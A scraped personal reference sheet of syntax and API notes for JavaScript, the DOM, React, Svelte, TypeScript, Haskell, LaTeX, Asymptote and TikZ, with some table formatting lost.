503 | Service Unavailable | temporary condition (overload, often) |
← | [udlr]arr; | \(up|down|left|right)arrow (math) |
⇐ | [udlr]Arr; | \(Up|Down|Left|Right)arrow (math) |
¶ | para; | \P |
× | times; | \times (math) |
÷ | div; | \div (math) |
… | hellip; | \ldots |
∞ | infin; | \infty (math) |
⋅ | sdot; | \cdot (?) (math) |
⊂⊃⊄⊅⊆⊇ | sub;sup;nsub;nsup;sube;supe | ... |
àèìòù | [aeiou]grave; | |
áéíóú | [aeiou]acute; | |
‘’“” | [lr][sd]quo; | |
more | hi |
Assumes a: T[]
(Beware browser compatibility concerns.)
Array(20).fill(1)
creates a list of 20 ones. Array(26).keys()
is an iterator over its keys, and [...Array(26).keys()]
is black magic for the half-open range from 0 to 26.
NOTE: Array(20)
has "empty" elements, which are different from the elements being undefined
. For the sake of functions like .map
, "empty" elements are completely skipped, so that Array(20).map(_ => 1)
will give another list of 20 empty elements. But spreading, native iterating, and Array.from()
still work fine, for some reason.
Assumes s: string
s.split(/\s+/)
"foo".split('')
or Array.from("foo")
turns into list of length-1 stringss !== s.toLowerCase()
or /[A-Z]/.test(s)
?f.call(thisArg, arg1, arg2, ...); f.apply(thisArg, arrayOfArgs); f.bind(thisArg, arg1, arg2, ...); // bind 'this' + optionally as many args as you want
regex: RegExp
, get /[A-Z]/
or new RegExp('[A-Z]')
m = new Map(); m = new Map([[1, 'one'], [2, 'two']]); m.set(3, 'three'); m.delete(3); m.has(3); m.size; // property, not function! m.clear(); m.keys(); m.values(); m.entries(); // all iterators, can spread m.forEach((value, key, map) => {}); [...m] // like m.entries() for (kvpair of s) {...}
s = new Set(); s = new Set([1, 2, 3, 4, 5]); s.add(3); s.delete(3); s.has(3); s.size // property, not function! s.clear(); s.values(); // iterator; same as s.keys() s.forEach((value, value, set) => {}); [...s] // spread to convert to array for (v of s) {...}
document. | |
---|---|
head | |
body | |
title | |
createAttribute(String name) | Attr object |
createElement(String name) | createElementNS('http://www.w3.org/2000/svg', 'circle') |
createTextNode(String text) | |
getElementsByClassName(String className) | |
getElementsByTagName(String tagName) | |
getElementById(String id) | |
querySelector(String selector) | first element matching CSS selector, e.g. .myclass , #foo td |
querySelectorAll(String selector) | all elements matching CSS selector. static NodeList, can forEach but not others. Array.from it? |
addEventListener('DOMContentLoaded', fn) |
eventTarget. | |
---|---|
addEventListener(type: string, listener[, options]) |
type can be e.g. "click"/"dblclick", "keydown"/"keypress"/"keyup", "change", "focus"/"blur", "submit" EventTarget is a superclass of Node options = {capture: true, ...}: parent capturing listeners are called before child capturing listeners (and before all normal "bubbling" listeners) |
node. | |
parentNode | or null |
childNodes | NodeList (can use .length , [0] |
firstChild | or null |
lastChild | or null |
nextSibling | or null |
previousSibling | or null |
appendChild(node: Node) | |
insertBefore(node: Node, refchild: Node) | insert node as child before refchild, which must be a child |
removeChild(child: Node) | returns child, which may be reused var myNode = document.getElementById("foo"); while (myNode.firstChild) myNode.removeChild(myNode.firstChild); |
textContent | assignable |
element. | |
parentElement | or null |
children | (Elements) HTMLCollection (can use .length , [0] , ["key"] . cannot forEach etc.; Array.from it? |
classList | DOMTokenList (can use .length , .contains("token") , .add("token") , .toggle("token") ... |
className | assignable |
tagName | |
id | |
innerHTML | assignable |
outerHTML | "experimental" |
firstElementChild | (Element) or null |
lastElementChild | (Element) or null |
nextElementSibling | (Element) or null |
previousElementSibling | (Element) or null |
getAttribute(name: string) | string; may be null or "" on no attribute SVGs: .getAttributeNS(null, name) |
hasAttribute(name: string) | SVGs: .hasAttributeNS(null, name) |
setAttribute(name: string, value) | SVGs: .setAttributeNS(null, name, value) |
getElementsByClassName(className: string) | |
getElementsByTagName(tagName: string) | |
querySelector(selector: string) | first element matching CSS selector, e.g. .myclass , #foo td |
querySelectorAll(selector: string) | all elements matching CSS selector |
closest(selector: string) | nearest ancestor (inc self) matching CSS selector |
clientHeight, clientWidth | padding + content, excluding scrollbars; rounded to integer! special case on <html>: gets viewport, excluding scrollbars |
scrollHeight, scrollWidth | padding + content including content not visible due to overflow (i.e. if you set to this dimension then no overflow or scroll is needed); rounded to integer! |
getBoundingClientRect() .height, .width, (.top, .left, ...) | border + padding + scrollbars if any + content; floating-point Coordinates are from viewport's scrolling position; add window.scrollX /scrollY for absolute |
htmlElement. | |
offsetHeight, offsetWidth | border + padding + scrollbars if any + content; rounded to integer! |
hidden | pretty fake |
style | |
blur() click() focus() | |
htmlInputElement. (and friends) | |
value | |
disabled | |
checked | |
indeterminate | checkboxes: neither nor : (can't be set through HTML) |
select() | all text, in a text field |
setSelectionRange(start, end) |
.innerHeight, .innerWidth: viewport, including scrollbars (to exclude scrollbars, see above: use (root html element).client{Height,Width})
.outerHeight, .outerWidth: whole damn browser (unclear why you'd want this)
event.target
(innermost element),
event.currentTarget
(element with the handler; ≈ this
), etc;
event.preventDefault()
, event.stopPropagation()
Philip Walton: don't use stopPropagation (in case an outer listener wants to close an unrelated modal/menu/...). You can "mark an event as handled" with preventDefault()
and if (event.defaultPrevented) return;
(though good luck convincing other devs to use this convention)
click, dblclick, mouseup, mousedown, mousemove; mouseover/mouseout (a single event that bubbles); mouseenter/mouseleave (doesn't bubble, one event per element; more like :hover)
clientX, clientY | client (viewport) coordinates (same as getBoundingClientRect()) |
pageX, pageY | page (edge of document) coordinates |
screenX, screenY | screen coordinates |
offsetX, offsetY | coordinates from padding edge (experimental and not in e.g. React's synthetic version) |
keydown, keyup (keypress is deprecated, just use keydown or beforeinput) (I think the "input" event is what you want now for updating something in response to every change in a text box)
key | "q" |
code | "KeyQ" (physical key, e.g. that's also the Dvorak ' key) |
altKey, ctrlKey, metaKey, shiftKey | boolean |
repeat | boolean: for keydown, whether this event from the key being held down and automatically repeating |
fetch('http://example.com/movies.json', options).then((response) => ...) options = { method: "POST", headers: { ... }, body: ... } response.staus // integer response.ok // boolean if 200 to 299 // promises: response.json() response.text() // i.e. you might fetch(...).then(response => response.json()).then(...)
Attributes/CSS | |
---|---|
.attr(name: string) | .attr(name: string, value: string) |
.prop(name: string) | .prop(name: string, value: string) |
.val() | .val(value: string) |
.hasClass(cls: string) | |
.addClass(cls: string) | |
.removeClass(cls: string) | |
.toggleClass(cls: string) | |
.html() | .html(value: string) |
.text() | .text(value: string) |
Handlers | |
.click(handler) | |
.dblclick(handler) | |
.hover(handler) | |
Traversal: Filtering | |
.first() | |
.last() | |
.filter(selector: string) | |
.eq(index: number) (can be negative, Pythonically) | |
Traversal | |
.children(selector?: string) | |
.find(selector: string) (descendants) | |
.next() | |
.prev() | |
.parent() |
Selected utilities.
let one: number = 1; function add(a: number, b: number): number { return a + b; }Basic types:
let [first, second, ...rest] = [1, 2, 3, 4]; [first, second] = [second, first]; let comp = [...rest, first, second]; function f([a, b]: [number, string]) {...} let { a, b } = {a: 1, b: 2};Fancy types:
let add: (a: number, b: number) => number = ...; function f( a: number, defArg: number = 1, optArg?: number, ...varArgs: number[]): string { ... }Constrains type of
this
that method is called on:
interface Thing { ... } function method(this: Thing) { ... }
this
must be first argument. Use this: void
to force no usage.
interface FillStyle { color: string; width?: number; } interface StyleWithStuff { color: string; [prop: string]: any; } interface NumericBinaryOperator { (a: number, b: number): number; } interface StringArray { [index: number]: string; }Generics:
function identity<T>(arg: T): T { return arg; }Type guard:
if (typeof foo === "number") { ... } class Thing { ... } if (thing instanceof Thing) { ... }
void
, not undefined
empty
, not never
any
.// ==UserScript== // @name name // @version 1 // @namespace https://www.example.com/ // @description description // @include https://www.example.com/* // @grant none // ==/UserScript== // Include and exclude rules use * to glob.
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="2" fill="red" stroke="blue" stroke-width="3" stroke-dasharray="3 1"/> <ellipse cx="10" cy="10" rx="2" ry="3"/> <rect x="20" y="20" width="100" height="100"/> <line x1="20" y1="20" x2="40" y2="40"/> <path d="M10 10" stroke-linecap="bevel|miter|round" stroke-linecap="butt|round|square"/> (undersupported stroke-linecap values: arcs; miter-clip) <text x="20" y="20" text-anchor="middle" dominant-baseline="middle"> css is <tspan class="...">awesome</tspan> </text> </svg>dominant-baseline="central" also exists but doesn't seem better. Also last time I tried to really center something I manually added 2 pixels to y from "middle".
Note: Manipulating these attributes requires .getAttributeNS(null, key)
| .setAttributeNS(null, key, value)
, because something namespaces something.
npx create-react-app my-app --template typescript
const element = <div id={expr}>{text}</div>;
<React.Fragment>
(possibly <>
); special DOM names: camel case e.g. tabIndex
and onClick
; className
, htmlFor
... (incidentally, I habitually depend on classnames)
ReactDOM.createRoot(document.getElementById("root")).render(<Game />);Note: children go in props.children. Whenever you make a list, pass the special attribute
key
: <Widget key={number.toString()}>
. Unique among siblings. Simplest choice is an array index, but if items get inserted/deleted try to persist the key on the same or similar elements for optimal reconciliation.
function Widget(props) { return /* use props */; }
// perf: inherit from React.PureComponent to skip updates if prop, state are // shallowly equal to past values class Widget extends React.Component { // only place where you assign to this.state, everywhere else call this.setState constructor(props) { super(props); this.state = {}; // refs for "imperative HTML things" or class components this.widgetRef = React.createRef(); // later, if (this.widgetRef.current !== null) this.widgetRef.current.focus(); } render() { // common pattern const { foo, bar } = this.props; const { baz, quux } = this.state; return <input ref={this.widgetRef}>...</input>; } // note, arrow function instead of method so we bind `this`!! ("public instance field", via) // let us pass this.handleClick as prop to things handleClick = () => { // you should use this.state immutably! setState implicitly merges a la Object.assign this.setState({ foo: bar }); // React may batch calls; if modification depends on previous state, do: this.setState((state, props) => { foo: !state.foo }); // also can pass second arg, callback, which will read updated state } // lifecycle methods // setup/teardown, e.g. timers, websockets... generally put in members, not this.state componentDidMount() { this.timeout = window.setInterval(this.tick, 1000); } componentWillUnmount() { window.clearInterval(this.timeout); }; }
handleChange = (event) => { this.setState({ value: event.target.value }); }
<input type="text" value={this.state.value} onChange={this.handleChange} />React
textarea
s and select
s also take a value
, so work the same way. (Unlike HTML where textarea
s take children and select > option
s might be selected
)
// React select <select value={this.state.value} onChange={this.handleChange}> <option value="foo">Foo</option> </select>Checkboxes: Same but use
checked
, event.target.checked
.
<input type="checkbox" checked={selected} onChange={this.handleChange} />Radio buttons:
this.setState({ value: event.target.value }); <input type="radio" name="groupName" value="foo" checked={this.state.value === "foo"} onChange={this.handleChange} />
const ThemeContext = React.createContext({ foo: bar }); <ThemeContext.Provider value=> ... </ThemeContext.Provider> function Example() { // setCount does not merge. can still pass func that takes old state, for batching const [count, setCount] = useState(0 /* initial state */); // can pass a function as initialState for perf, since initialState would be // eagerly evaluated every render // after each render: combines componentDidMount, componentDidUpdate useEffect( () => { document.title = `You clicked ${count} times`; // optionally, componentWillUnmount-ish cleanup // but note that by default we cleanup before each new effect call, by design! return () => ...; }, // optional list of dependencies, skip update if 1-deep equal [count] // in particular, [] would mean only mount/unmount ); // non-state-affecting memoization, dependencies as above let result = useMemo(() => computeExpensiveValue(a, b), [a, b]); // plumb data from far away const theme = useContext(ThemeContext); theme.foo; // mini Redux // earlier: function reducer(state, action) { return /* new state */; } const [state, dispatch] = useReducer(reducer, initialState); // ref or any imperative thing to grab const inputEl = useRef(null); inputEl.current; return /* count */; }
let foo = 0;Prop, for a client to pass in:
export let foo /* = "optional default value" */;Magic top-level line that recomputes when dependencies change. Don't add
let
, the compiler will add it if needed:
$: bar = baz(foo, quux);
$
can also precede a block or even e.g. an if
statement.
Mutating state variables is more OK than in React because the compiler has a better understanding that they should cause recalculations; in particular foo[bar] = baz
seems to be totally kosher. Calling mutating functions (e.g. foo.push(1)
won't work, but you can just invalidate with foo = foo;
after. (Or you can stick to foo = [...foo, 1]
...)
A simple rule of thumb: the updated variable must directly appear on the left hand side of the assignment.UI:
{expr} <div foo={bar}> or (to appease syntax highlighters) <div foo="{bar}">
{#if condition} HTML goes here {:else if} (!) {:else} (!) {/if} {#each expression as name}...{/each} {#each expression as name, index}...{/each} // as in Array.map {#each expression as name (key)}...{/each} // expr like React's key for reconciliation {#each expression as name, index (key)}...{/each} {#each expression as name}...{:else}...{/each} // emptyEvents:
<button on:click={handle}>Zero or more "modifiers" follow |:
<button on:click|preventDefault|stopPropagation|capture|once={handle}>Dynamic style:
<div class:active={active}> // that class if truthy <div class:active> // or even shorthand... <div style:color={myColor}>Binding:
<input type="text" bind:value={foo}> (or "number", etc.) <input type="checkbox" bind:checked={foo}> <input type="radio" bind:group={foo} value={"bar"}> <canvas bind:this={canvas}/> // for imperative stuffComposition: In Widget, use
<slot>fallback</slot>
, and outside just use <Widget>child</Widget>
.
Lifecycle calls must be at the top level:
import { onMount } from 'svelte'; onMount( // some function that might set state // can also return a cleanup function ); beforeUpdate(/* ... */); afterUpdate(/* ... */); onDestroy(/* ... */);Magic dynamism:
<svelte:self/> // recursion! <svelte:component this={thing} foo={bar}/> // i.e. given RedThing.svelte, BlueThing.svelte, <svelte:component this={foo ? RedThing : BlueThing}/> <svelte:element this={"div"}/>hi</svelte:element>Magic elements, top-level only. Convenient to unbind listeners when unmounted.
<svelte:window on:event={handler}/> <svelte:body on:event={handler}/> <svelte:head/> /* head tags */ </svelte:head>A store is basically a std::shared_ptr, for when top-down data flow doesn't work.
// in some module: import { writable } from 'svelte'; let v = writable(0); // components can import v from that module and use or assign to $v // which is roughly sugar for let localV; v.subscribe(v => { localV = v; }); $v = newValue; // sugar for v.set(newValue); v.update(v > newValue); <div>{localV}</div>Contexts let you plumb data from far away. Also must be at top level, and are not reactive (stick a store in a context if you want that).
import { setContext, getContext } from 'svelte'; setContext('answer', 42); // ... getContext('answer'); // from closest parent componentTransitions are customizable to a truly absurd degree. Basically they occur when the element enters or leaves the DOM.
import { fade, ... } from 'svelte/transition'; {#if visible} <div transition:fade>fades in and out</div> <div in:fade>fades in</div> <div out:fade>fades out</div> {/if}If you're a big transition fan, you can use a
{#key expr}
block, which destroys and recreates its contents when expr
changes.
{#key expr}...{/key}
it's curried! d3.format(".2f")(1234)
. it also uses the correct minus sign!
+ plus or minus sign .2f 2 digits after .; fixed point .2e 2 sigfigs; exponent .2g 2 sigfigs; decimal or exponent .2r 2 sigfigs; decimal .2s 2 sigfigs; decimal with SI prefix (..., µ, m, (none), k, M, ...)
class Foo a where foo :: a -> a instance Foo Int where foo = (+2) class Foo a => Bar a where bar :: a -> a instance Bar Int where bar = subtract 2 class (Foo a, Bar a) => Quux a where quux :: a -> a instance Quux Int where quux = (*2)
Python | Haskell |
---|---|
[f(v) for v in li] | [f(v) | v <- li] |
[f(v) for v in li, w in lj] | [f(v) | v <- li, w <- lj] |
[f(v) for v in li if cond] | [f(v) | v <- li, cond] |
lambda x, y: x + y | \x y -> x + y |
Prec | infixl | infix | infixr |
---|---|---|---|
∞ | :: (sort of) | ||
9 | !! default Map.! Map.\\ Set.\\ Array.! Array.// |
. | |
8 | Bits.shift Bits.rotate Lens.^. ... |
^ ^^ ** | |
7 | * / div mod rem quot .&. |
||
6 | + - xor |
||
↑ ~ "calculation" / "data flow" ~ ↓ | |||
5 | .|. Seq.|> | : ++ <+> Seq.<| Seq.>< |
|
4 | <$> <*> <* *> <**> | == /= < <= > > elem notElem | Lens..~ ... |
↑ ~ "data flow" / "control flow" ~ ↓ | |||
3 | <|> | && *** &&& |
|
2 | || +++ ||| |
||
1 | >> >>= Lens.& |
=<< >=> <=< >>> <<< | |
0 | $ $! seq DeepSeq.$!! |
m is a monad. * = append _ to return m () instead.
(type constraints are elided, a = mutable array, c = immutable ("constant") array)
foo <- newArray (0,9) False :: ST s (STArray s Int Bool)
(Variants of freeze and thaw prefixed with unsafe, which don't copy the array, are in Data.Array.Unsafe.)
Import qualified. Obvious functions' type signatures not given. Data.Vector.Unboxed.Mutable
has a nearly identical interface.
Constructors yield PrimMonad m ⇒ m (MVector (PrimState m) a)
;
destructive functions take and manipulate PrimMonad m ⇒ MVector (PrimState m) a
.
These constraints are not shown below for simplicity.
Note that the slicing functions are pure and yield views through which the original vector can be modified.
u* denotes presence of an unsafe variant obtainable by prefixing unsafe
and camelCasing.
Here, unsafe means no bounds checking.
Interface with pure Vector code (import from Data.Vector; here, unsafe means no whole-array-copying):
Data.Vector has far more functions and typeclasses, but Data.Array can be multidimensional, can have indices defined arbitrarily, and is currently more portable.
Its only Array-ish typeclass of interest is Functor
.
Data.Vector must be imported qualified.
Functions already listed in family table or as unsafe interface functions above aren't here. Obvious functions' type signatures not given.
Data.Vector.Unboxed
has a nearly identical interface.
u* denotes presence of an unsafe variant obtainable by prefixing unsafe
and camelCasing.
[M] denotes a monadic version (with a different type, working with Kleisli arrows).
a is the element type, Word8 or Char. S is the string type, ByteString or Text.
Data.ByteString[.Char8] | Data.Text |
---|---|
pack :: [a] → S unpack :: S → [a] | |
uncons :: S → Maybe (a, S) | |
unsnoc :: ByteString → Maybe (ByteString, a) | |
copy :: S → S O(n), prevent a slice from keeping reference to rest of string | |
intersperse :: a → S → S intercalate :: S → [S] → S | |
transpose :: [S] → [S] | |
split :: a → ByteString → [ByteString] | |
splitOn :: Text → Text → [Text] | |
splitWith :: (a → Bool) → ByteString → [ByteString] | split :: (Char → Bool) → Text → [Text] |
is{Pre|Suf|In}fixOf :: S → S → Bool | |
replace :: Text (needle) → Text (replacement) → Text (haystack) → Text | |
strip, stripStart, stripEnd :: Text → Text | |
[.Char8 only] readInt :: ByteString → Maybe (Int, ByteString) readInteger :: ByteString → Maybe (Integer, ByteString) | import Data.Text.Read type Reader a = Text → Either String (a, Text) decimal, hexadecimal :: Integral a ⇒ Reader a double :: Reader Double rational :: Fractional a ⇒ Reader a signed :: Num a ⇒ Reader a → Reader a |
[.Char8 only] lines, words :: S → [S] | |
[.Char8 only] unlines, unwords :: [S] → S | |
Data.Text.IO | |
getLine :: IO S | |
getContents :: IO S | |
putStr :: S → IO () | |
[deprecated for Data.ByteString, OK for .Char8] putStrLn :: IO S | |
interact :: (S → S) → IO () | |
readFile :: FilePath → IO S | |
writeFile :: FilePath → S → IO () | |
appendFile :: FilePath → S → IO () |
C a
generically denotes a container containing objects of type a
.
Prelude Data.List [a] | Data.Sequence Seq a | Data.Vector Vector a | Data.ByteString[.Char8] ByteString (a = Word8 | Char) | Data.Text, Data.Text.IO, Data.Text.Read Text a = Char |
---|---|---|---|---|
Functor fmap ≡ (<$>) | ||||
Applicative pure, (<*>) | ||||
Monad return, (>>=), ... | ||||
MonadPlus mzero, mplus, ... | ||||
Foldable fold, foldMap, fold{lr1'},
concat ⊂ msum, asum ⊂ fold concatMap ⊂ foldMap traverse_, mapM_, forM_, sequence_, toList ... and, or, any, all, sum, product maximum[By], minimum[By], elem, notElem, find | Δ package contains many similar [Word8|Char]-only functions with same names unpack :: BS → [a] unpack :: Text → [Char] | |||
Traversable traverse, sequenceA, mapM, sequence | ||||
Monoid mempty, mappend ≡ (<>) | ||||
(++) | (><) | (++) | append | |
[] | empty | |||
singleton :: a → C a | ||||
null | ||||
force :: Vector a → Vector a | copy :: {BS|Text} → {BS|Text} | |||
length | size | length | ||
compareLength :: Text → Int → Ordering | ||||
replicate :: Int → a → C a | replicate :: Int → Text → Text | |||
import Control.Monad replicateM :: Int → m a → m [a] | replicateM :: Int → m a → m (C a) | |||
head, last | ||||
(!!) | index | (!) (!?) unsafeIndex | index | |
tail, init | ||||
take, drop, splitAt | ||||
tails, inits | tails, inits | |||
map | ||||
reverse | ||||
filter | ||||
(:) | (<|) | cons | ||
(|>) | snoc | |||
scan[lr][1] | ||||
takeWhile | takeWhileL takeWhileR | takeWhile | ||
dropWhile | dropWhileL dropWhileR | dropWhile | dropWhile dropWhileEnd dropAround | |
elemIndex findIndex |
elemIndex{LR} findIndex |
elemIndex findIndex |
elemIndex[End] findIndex no [End]! |
findIndex |
elemIndices findIndices :: → [Int] |
elemIndices{LR} findIndices{LR} :: → [Int] |
elemIndices findIndices :: → Vector Int |
elemIndices findIndices :: → [Int] |
|
span | spanl spanr | span | span spanEnd | span |
break | breakl breakr | break | break breakEnd | span |
partition | partition unstablePartition | partition | ||
sort[By] | sort[By] unstableSort[By] | sort | ||
zip{..7} | zip{..4} | zip{..6} | zip :: (BS|T) → (BS|T) → [(a,a)] | |
zipWith{..7} | zipWith{..4} | zipWith{..6} | zipWith :: (a → a → b) → (BS|T) → (BS|T) → [b] |
Note: Nearly every function on Foldables, defined in Data.Foldable, has a list-specific version in Data.List; see above. These are not listed although they're technically not the same functions.
Note: Many names clash with Prelude; please import qualified Data.Map as Map
Note: Many names clash with Prelude; please import qualified Data.Set as Set
\includegraphics[width=\textwidth]{grasshopper.jpg}
(Mac) Use TeX Live Utility to install from repos. Or, stuff goes in ~/Library/texmf/tex/latex
. LaTeX will find it.
tiny, scriptsize, footnotesize, small, normalsize, large, Large, LARGE, huge, Huge
\noindent
; \hfill
, \vfill
, \hspace{...}
, \vspace{...}
Centering: \begin{center} ... \end{center}
for a paragraph or so, \centerline{...}
for a line continuing the same paragraph
Same-sizing things: \left
, \right
, possibly \middle
. \middle\mid
doesn't work, use \mathrel{}\middle|\mathrel{}
instead.
Horizontal box of fixed width: \makebox[5cm][c]{Text}
Paragraph box of fixed width: \parbox[c]{5cm}{Line one \\ Line two}
Tabular, for box that takes width of longest line: \begin{tabular}{@{}c{@}}Line one \\ Line two\end{tabular}
Raise box: \raisebox{5cm}{text}
Minipage: \begin{minipage}[t]{5cm} \end{minipage}
\begin{equation} \label{eq:life} 6 \times 9 = 42 \end{equation} Equation \ref{eq:life} is good. \eqref{eq:life} is good.
\DeclareMathOperator{\End}{End}
≡ \newcommand{\End}{\operatorname{End}}
(also, starred versions typeset limits under/over, instead of as sub/superscripts)
\overset{top}{=}
\underset{bot}{=}
\overbrace{x + y}^{top}
(or overbracket)\underbrace{x + y}_{top}
(or underbracket)\xrightarrow{top}
, \xrightarrow[bot]{top (or leave blank)}
(or xleftarrow, or more arrows/harpoons in \usepackage{mathtools})f(x) = \begin{cases} 0 & \text{if } x = 0 \\ 1 & \text{else} \end{cases}
\begin{tabular}[pos]{table spec}Columns in spec:
lcr
; pmb
followed by width for paragraphs (the latter two require array package)
ack usepackage | sed 's/^.*{\(.*\)}.*$/\1/g' | sort | uniq | less
. Don't do the search too widely, I think at some point the pipe gets too huge and some programs give up.
alltt
: TODOamsfonts
: math?amsmath
: mathamssymb
: math symbolscolor
: colorenumerate
: more choices for enumerate
item formatfancyhdr
: headers:
\lhead{...}\rhead{...}\cfoot{\thepage} % set headers \pagestyle{fancy} % show headers \thispagestyle{plain} % omit headers here (e.g. first page)
fontspec
: ?framed
: framing a paragraphfullpage
: ?geometry
: setting margins: \usepackage[top=1in, bottom=1in, left=1in, right=1in]{geometry}
or \usepackage[margin=1in]{geometry}
graphicx
: graphicshyperref
: makes cross-references into links (suggested to be included last)icomma
: remove space after comma in $1,000$ifpdf
: ?inputenc
: ?lastpage
: refer to last page with \pageref{\LastPage}
longtable
: ?makeidx
: ?mla
: ?multirow
: \multirownatbib
: ?paralist
: ?scrpage
: ?sectsty
: ?setspace
: double spacingsoul
: ?syntonly
: ?tabularx
: m, b paragraph aligning in table cells (?)textcase
: ?textcomp
: ?theorem
: ?thumbpdf
: ?times
: Times New Romanulem
: ?url
: gives you \url{...} (or \url|...|)verbatim
: ?xeCJK
: ?draw(shape[, pen]);
dot(point[, pen]);
(dot's dimension doesn't get scaled)
Label(string s="", align align=NoAlign, pen p=nullpen...)
Very C/C++/Java-like:
essentially same syntax for declaring and initializing variables, numbers, strings, operators, function declaration,
control flow (if, while, do, break, continue, for (+ "for each" with for(:)
))
^
is xor and ternary conditional exists.
Deviations: bitwise functions are (non-infix) AND, OR, XOR, NOT. There's even CLZ and CTZ. Also only pre(inc/dec)rement exists; no post(inc/dec)rement because infix --
joins paths.
Types: string
, int
, real
, pair
, path
, guide
, pen
...
Features var
, its type-inferring type declaration (like C++'s auto
). It can be used in for(:)
loops too.
Pairs are like (3,7)
. Immutable; function as points, vectors, and complex numbers. Access components with .x
, .y
.
Unit vector in a direction is expi(deg)
.
Math functions: sin, cos, tan, asin, acos, atan, exp, log, pow10, log10, sinh, cosh, tanh, asinh, acosh, atanh, sqrt, cbrt, fabs, expm1, log1p, Jn(int n, real), Yn(int n, real), gamma, erf, erfc, atan2, hypot, fmod, remainder, degrees(radians_val), radians(degrees_val), abs.
For convenience, Sin, Cos, Tan, aSin, aCos, aTan use degrees.
floor, ceil, round return ints.
Arrays are syntactically like Java instead of C/C++. But they're actually mutable-size. T[]
is a type and supports .length
, push
, pop
. Weird bonus feature: set an array.cyclic = true
to make accessing any index first reduce the index mod the length.
sequence(n) is [0..n-1], sequence(n, m) is [n..m], reverse(a) returns reversed copy, sort(a) returns sorted copy, min(a) and max(a) return minimum or maximum.
Arrays can be sliced with Python syntax to create copies; slices can be assigned to, to change the array, too.
(0,0)--(1,1) | line |
(0,0)..(1,1) | curve |
(0,0){up}..(1,1) | force a tangentup is a synonym for the point (0,1) |
(0,0)..{up}(1,1){right}..(2,0) | force a tangent on two sides |
(0,0)^^(1,1) | "reparametrizes so the two are treated as one" |
(0,0)--(1,1)--(2,2)--cycle | cycle makes the curve closed |
circle((0,0), 1) | circle, center (0,0), radius 1 |
ellipse((0,0), 3, 7) | ellipse, center (0,0), horiz. diameter 2×3, vert. diameter 2×7 |
box((0,0), (2,3)) | rectangle |
polygon(7) | regular 7-gon inscribed in unit circle at (0,0), with bottom edge horizontal; transform to obtain size/position |
arc((0,0), r=1, angle1=123, angle2=234) | circular arc, center (0,0), radius 1 angles are polar; counterclockwise if angle1 < angle2, clockwise if angle1 > angle2 |
Apply to lots of things by tf * thing
shift((1,2)) or shift(1,2) | translate |
xscale(2), yscale(3), scale(4), scale(5, 6) | scale |
rotate(90, (1,2)) | 90 degrees about center (1,2) |
reflect((1,2),(3,4)) | reflect about line through points |
Pens can be +
ed together. The default pen can be set with defaultpen(pen);
red, green, blue, cyan, magenta, yellow, black | colors |
rgb(0,0.5,1) | colors; components are fractions from 0 to 1! |
cmyk(0,0.1,0.2,0.3) | cmyk colors |
rgb("99CCFF") | hexadecimal |
rgb(pen), cmyk(pen) | convert to color space (cmyk(red), cmyk(blue), cmyk(green) are nice) |
gray(.7) | gray or rgb(.7,.7.,7) |
linetype(new real[] {4,3,2,1}) | 4 units on, 3 units off, 2 units on, 1 unit off (etc.); repeat note: "0 units" still draws a dot space-separated strings can be used? |
solid | linetype() |
dotted | linetype(new real[] {0,4}) |
dashed | linetype(new real[] {8,8}) |
longdashed, dashdotted, longdashdotted, Dotted(pen p=currentpen)... | ... |
linewidth(1) | default is 0.5 you can also directly + a number to a pen; that operation adds the pen to a linewidth(_) |
squarecap, roundcap, extendcap | |
miterjoin, roundjoin, beveljoin | |
zerowinding, evenodd |
The type name is arrowbar
because arrows and bars are implemented as the same thing.
ArcArrow is smaller than Arrow, about half the size, and has different angle; it's suitable for curved arrows.
Arrow() | filled triangle (DefaultHead) |
Arrow(SimpleHead) | two lines |
Arrow(HookHead) | curvy quadrilateral |
Arrow(TexHead) | tiny like $\rightarrow$ |
Arrow
is the same as EndArrow
.
Other arrows: Begin[Arc]Arrow
,
Mid[Arc]Arrow
,
[Arc]Arrows
(on both ends).
Or pass position=real
(e.g. 0.7) as an argument to the Arrow
constructor.
\usepackage{tikz}
. You can load TikZ libraries like \usetikzlibrary{arrows.meta,calc}
\begin{tikzpicture}[scale=2] \draw(0,0)--(0,1.5); \draw[dotted](0,1)--(2,3) .. controls (2,4) and (3,5) .. (4,5); \node[anchor=center] at (2,2) {lorem}; \node[anchor=south west] at (3,3) {ipsum}; \end{tikzpicture}
You can specify units in coordinates e.g. (1cm, 2pt)
. If unitless, cm
implied. Polar coordinates: (30:1cm)
Relative coordinates: +(2,0)
("temporarily shifts the pen") or ++(2,0)
("permamently shifts the pen"). Math expressions work in braces e.g.(1,{tan(30)})
.
(0,0)--(1,1) | line |
(0,0) .. controls (1,1) and (2,1) .. (2,0) | curve; you can leave out "and (2,1)" to reuse the first point |
(0,0)|-(1,1) | vertical then horizontal line |
(0,0)-|(1,1) | horizontal then vertical line |
(0,0) circle[radius=1cm] | circle |
(0,0) ellipse[x radius=10pt, y radius=10pt] | ellipse |
(0,0) arc[radius=1,start angle=100,end angle=90,delta angle=10] | circular arc (specify two of the last three arguments) |
(0,0) rectangle (1,1) | rectangle |
(0,0) grid (1,1) | grid that fills the rectangle (specify option step=.5 to draw) |
(0,0) -- (1,0) -- (1,1) -- cycle | close a path; also joins at that corner correctly |
(0,0) parabola (1,1) | parabola (TODO) |
(0,0) sin (1,1) | sine (TODO) |
(0,0) cos (1,1) | cosine (TODO) |
\path(0,0)--(1,1); | defines the path, but doesn't do anything unless you tell it to! |
\draw(0,0)--(1,1); | actually just short for \path[draw] |
\fill(0,0) rectangle (1,1); | \path[fill] |
\filldraw(0,0) rectangle (1,1); | \path[fill,draw] |
\shade(0,0) rectangle (1,1); \shade[top color=yellow,bottom color=black]... \shade[left color=yellow,right color=black]... \shade[inner color=yellow,outer color=black]... \shade[ball color=yellow]... | \path[shade]: shade (with gradient, by default top gray to bottom white) |
\shadedraw(0,0) rectangle (1,1); | \path[shade,draw] |
\clip(0,0) rectangle (1,1); | \path[clip] clip everything following in this picture (or scope) |
\useasboundingbox(0,0) rectangle (1,1); | \path[useasboundingbox] |
Usually you'll put them right after the \draw analogue you're using. But you can set options anywhere in the middle of a path, and you can get a few options to apply to the remaining part of the path or even to a local scope:
\draw (0,0) -- (0,0.5) [xshift=2pt] (0,0) -- (0,0.5); \draw (0,0) -- (1,1) {[rounded corners] -- (2,0) -- (3,1)} -- (0,0.5);
You can also specify them right after \begin{tikzpicture}
, or right after \begin{scope}
inside a tikzpicture environment to have then apply to a local scope.
\draw[color=blue!40]... | color ("color=" can be omitted if no confusion) |
\draw[draw=blue!40]... | color for drawing only |
\draw[step=0.5] | grid step |
